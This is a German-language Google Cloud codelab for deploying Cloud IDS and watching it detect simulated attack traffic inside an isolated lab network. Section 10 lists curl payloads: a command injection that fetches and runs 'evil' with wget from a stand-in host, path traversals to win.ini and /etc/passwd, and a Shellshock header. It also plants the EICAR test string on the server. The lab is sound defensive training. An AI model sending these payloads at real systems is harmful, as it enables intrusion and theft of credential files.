Cloud IDS

1. Einführung

In diesem Lab stellen Sie Cloud IDS bereit, einen erweiterten Einbruchserkennungsdienst der nächsten Generation, der Bedrohungserkennung bei Einbrüchen, Malware, Spyware und Command-and-Control-Angriffen bietet. Sie simulieren mehrere Angriffe und sehen sich die Bedrohungsdetails in der Cloud Console an.

Aufgaben in diesem Lab

  • Cloud IDS-Endpunkt erstellen
  • Zwei virtuelle Maschinen mit gcloud-Befehlen erstellen
  • Paketspiegelungsrichtlinie erstellen
  • So simulieren Sie Angriffstraffic von einer virtuellen Maschine
  • Informationen zu Bedrohungen in der Cloud Console und in Cloud Logging ansehen

Voraussetzungen

  • Kenntnisse der grundlegenden Linux-Befehle

2. Cloud IDS – Anwendungsfälle

Cloud IDS bietet einen Google Cloud-nativen Next-Gen Intrusion Detection Service (IDS) für Kunden, um ihre erweiterten Bedrohungserkennungs- und Compliance-Anforderungen wie PCI 11.4 zu erfüllen. Der Dienst basiert auf den Bedrohungsschutztechnologien von Palo Alto Networks und ermöglicht eine erweiterte Einbruchserkennung. Durch die Kombination der erstklassigen Infrastruktur von Google Cloud mit der erstklassigen Sicherheit von Palo Alto Networks erhalten Kunden eine unübertroffene Kombination aus einem vollständig verwalteten, hochleistungsfähigen und hocheffizienten erweiterten Bedrohungserkennungsdienst.

Bei der Migration in die Cloud steht Sicherheit an erster Stelle. Das Unternehmen wünscht sich ähnliche Sicherheitskontrollen wie vor Ort, z. B. den Intrusion Detection Service (IDS) in der Cloud. Im Vergleich zur Bereitstellung einer Sicherheitslösung eines Drittanbieters und zur Verwaltung der Infrastruktur oder der Verwendung eigener Signaturen bevorzugen sie im Hinblick auf eine einfache Bereitstellung, hohe Leistung und optimierte Kosten eine cloudnative, verwaltete IDS-Lösung. Google Cloud IDS bietet einen verwalteten IDS-Dienst mit End-to-End-Lösung und Autoscaling, mit dem Kunden ihre Zeit damit verbringen können, Bedrohungen zu analysieren und zu mindern. Außerdem haben sie mehr Zeit und Ressourcen für die Verwaltung der Infrastruktur oder der Bedrohungssignaturen.

Cloud IDS wird Out-of-Band bereitgestellt und kann Bedrohungen erkennen und melden, jedoch keine Bedrohungen blockieren. Dabei wird mithilfe der Paketspiegelung von Google Cloud eine Kopie des Netzwerktraffics erstellt, der mit der Bedrohungserkennungs-Engine des Palo Alto Network analysiert wird.

3. Codelab-Topologie

5a276f399e1d31e2.png

Abbildung 1. Allgemeine Architekturübersicht über die Cloud IDS-Bereitstellung für dieses Lab

4. Einrichtung und Anforderungen

Umgebung für das selbstbestimmte Lernen einrichten

  1. Melden Sie sich in der Google Cloud Console an und erstellen Sie ein neues Projekt oder verwenden Sie ein vorhandenes Projekt. Wenn Sie noch kein Gmail- oder Google Workspace-Konto haben, müssen Sie eines erstellen.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Der Projektname ist der Anzeigename für die Projektteilnehmer. Es handelt sich um eine Zeichenfolge, die von Google APIs nicht verwendet wird und jederzeit aktualisiert werden kann.
  • Die Projekt-ID muss für alle Google Cloud-Projekte eindeutig sein und ist unveränderlich. Sie kann nach dem Festlegen nicht mehr geändert werden. Die Cloud Console generiert automatisch einen eindeutigen String. ist Ihnen meist egal, was es ist. In den meisten Codelabs musst du auf die Projekt-ID verweisen, die in der Regel als PROJECT_ID identifiziert wird. Wenn es dir nicht gefällt, kannst du eine weitere zufällige Projekt-ID generieren. Du kannst aber auch selbst eine andere testen, um zu sehen, ob sie verfügbar ist. Dann ist es „eingefroren“ nachdem das Projekt erstellt wurde.
  • Es gibt einen dritten Wert, die Projektnummer, die von einigen APIs verwendet wird. Weitere Informationen zu allen drei Werten finden Sie in der Dokumentation.
  1. Als Nächstes müssen Sie in der Cloud Console die Abrechnung aktivieren, um Cloud-Ressourcen/APIs verwenden zu können. Dieses Codelab sollte ohne großen Aufwand betrieben werden. Wenn Sie Ressourcen beenden möchten, damit über diese Anleitung hinaus keine Kosten anfallen, führen Sie eine Bereinigung durch am Ende des Codelabs. Neue Google Cloud-Nutzer haben Anspruch auf eine kostenlose Testversion von 300$.

Cloud Shell starten

Sie können Google Cloud zwar von Ihrem Laptop aus aus der Ferne bedienen, in diesem Codelab verwenden Sie jedoch Google Cloud Shell, eine Befehlszeilenumgebung, die in der Cloud ausgeführt wird.

Klicken Sie in der GCP Console oben rechts in der Symbolleiste auf das Cloud Shell-Symbol:

bce75f34b2c53987.png

Die Bereitstellung und Verbindung mit der Umgebung dauert nur einen Moment. Wenn er abgeschlossen ist, sollten Sie in etwa Folgendes sehen:

f6ef2b5f13479f3a.png

Diese virtuelle Maschine verfügt über sämtliche Entwicklertools, die Sie benötigen. Es bietet ein Basisverzeichnis mit 5 GB nichtflüchtigem Speicher und läuft auf Google Cloud, wodurch die Netzwerkleistung und Authentifizierung erheblich verbessert werden. Sie können alle Aufgaben in diesem Lab ganz einfach in einem Browser erledigen.

5. Hinweis

APIs aktivieren

Prüfen Sie in Cloud Shell, ob Ihre Projekt-ID eingerichtet ist

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Alle erforderlichen Dienste aktivieren

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. VPC-Netzwerk erstellen

VPC-Netzwerk

Aus Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Subnetz

Aus Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Privater Dienstzugriff

Aus Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Dienstverbindung

Aus Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Firewallregeln

Damit IAP eine Verbindung zu Ihren VM-Instanzen herstellen kann, müssen Sie eine Firewallregel erstellen, die:

  • Gilt für alle VM-Instanzen, die mit IAP zugänglich sein sollen.
  • Lässt eingehenden Traffic aus dem IP-Bereich 35.235.240.0/20 zu. Dieser Bereich enthält alle IP-Adressen, die IAP für die TCP-Weiterleitung verwendet.

Aus Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

So lassen Sie den Standard-HTTP-Port (TCP 80) und das ICMP-Protokoll zum Server zu:

  • Gilt für Ressourcen mit dem Netzwerktag „server“
  • Lässt eingehenden Traffic von allen Quellen zu

Aus Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Cloud NAT-Instanz erstellen

Cloud Router

Aus Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Aus Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Cloud IDS-Endpunkt erstellen

In diesem Abschnitt erstellen Sie einen Cloud IDS-Endpunkt in "us-east1" mit einem Schweregrad, der auf "Informativ" gesetzt ist. Das Erstellen des IDS-Endpunkts dauert etwa 20 Minuten.

IDS-Endpunkt

Aus Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Prüfen, ob der Cloud IDS-Endpunkt initiiert wurde

gcloud ids endpoints list --project=$PROJECT_ID

Ausgabe –

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Zwei virtuelle Maschinen erstellen

In diesem Abschnitt erstellen Sie zwei virtuelle Maschinen. Der erste ist der Webserver, der in Cloud IDS gespiegelt wird. Die zweite virtuelle Maschine ist Ihre Zugriffsquelle für Angriffe.

Virtuelle Maschine 1 (Server)

Aus Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Virtuelle Maschine 2 (Client)

Aus Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Server wird vorbereitet

In dieser Aufgabe validieren Sie Ihren Server und stellen eine harmlose Malware-Nutzlast für Ihren Client bereit.

SSH-Verbindung zur VM über Cloud Shell herstellen

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Ausführung des Webdienstes prüfen

sudo systemctl status nginx

Ausgabe – Überprüfen, ob aktiv ist und ausgeführt wird

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Verzeichnis in Webdienst ändern

cd /var/www/html/

Datei mit harmloser Malware auf dem Webserver erstellen

sudo touch eicar.file

Inhalt einfügen

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Zurück zu Cloud Shell

exit

Cloud IDS-Paketspiegelungsrichtlinie erstellen

Identifizieren Sie die Weiterleitungsregel des IDS-Endpunkts und bestätigen Sie, dass der Status des IDS-Endpunkts „READY“ lautet.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Beispielausgabe: Kopieren Sie den Wert aus „endpointWeiterleitungRule“

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Speichern Sie die IDS-Endpunktweiterleitungsregel in einer Variablen.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Paketspiegelungsrichtlinie

Aus Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Prüfen, ob die Paketspiegelungsrichtlinie erstellt wurde

Aus Cloud Shell

gcloud compute packet-mirrorings list

Ausgabe

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Angriffstraffic simulieren

Stellen Sie eine SSH-Verbindung zur virtuellen Maschine des Angreifers (Client) her

Aus Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Führen Sie die folgenden curl-Anfragen aus, um schädlichen Traffic zu simulieren.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

VM beenden, um zu Cloud Shell zurückzukehren

exit

11. Von Cloud IDS erkannte Bedrohungen prüfen

Cloud IDS-Dashboard aufrufen

Navigationsmenü > Netzwerksicherheit > Cloud IDS

37583419aa604aa8.png

Rufen Sie den Tab „Bedrohungen“ auf.

b7d934f409b4e2b.png

Wie Sie sehen, hat Cloud IDS verschiedene Angriffs-Traffic-Profile erfasst und die Details zu jeder Bedrohung bereitgestellt. Möglicherweise müssen Sie auf „Aktualisieren“ wenn keine Bedrohungen angezeigt werden. Jetzt werden wir uns näher mit den Details der Bedrohung befassen.

Ermitteln Sie die Sicherheitslücke bei der Bash Remote Code Execution und klicken Sie rechts auf das Dreipunkt-Menü und wählen Sie „Details zur Bedrohung ansehen“ aus.

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Jetzt sehen wir uns die Details dieses Vorfalls in Cloud Logging an. Klicken Sie auf den Linkspfeil , um zur Seite mit den Bedrohungen zurückzukehren .

Klicken Sie rechts auf das Dreipunkt-Menü und wählen Sie „Bedrohungslogs ansehen“ aus.

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Dieselben Details werden auch für Cloud Logging bereitgestellt. So können Sie die Logs an Cloud Storage, Chronicle oder ein beliebiges SIEM-/SOAR-Tool senden. Sie können auch benutzerdefinierte Workflows erstellen, um basierend auf Benachrichtigungen Abhilfemaßnahmen zu ergreifen, z.B. Erstellen einer Cloud Functions-Funktion, die durch eine Benachrichtigung ausgelöst wird, und Erstellen/Aktualisieren einer Firewallregel zum Blockieren der IP-Adresse oder Erstellen/Aktualisieren einer Cloud Armor-Richtlinie.

12. Bereinigungsschritte

VM-Instanz beenden (alle Tabs)

exit

Löschen Sie die Lab-Komponenten in einem einzelnen Cloud Shell-Terminal.

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Glückwunsch!

Herzlichen Glückwunsch zum Abschluss des Codelabs.

Behandelte Themen

  • Cloud IDS – Anwendungsfälle
  • Netzwerkanforderungen
  • Unterstützte APIs
  • Cloud IDS-Endpunkt erstellt
  • 2 VMs bereitgestellt
  • Hat einen „Angriff“ verursacht Traffic vom Client
  • IDS hat verifizierte Bedrohungen erkannt
  • Details und Logs zu Bedrohungen prüfen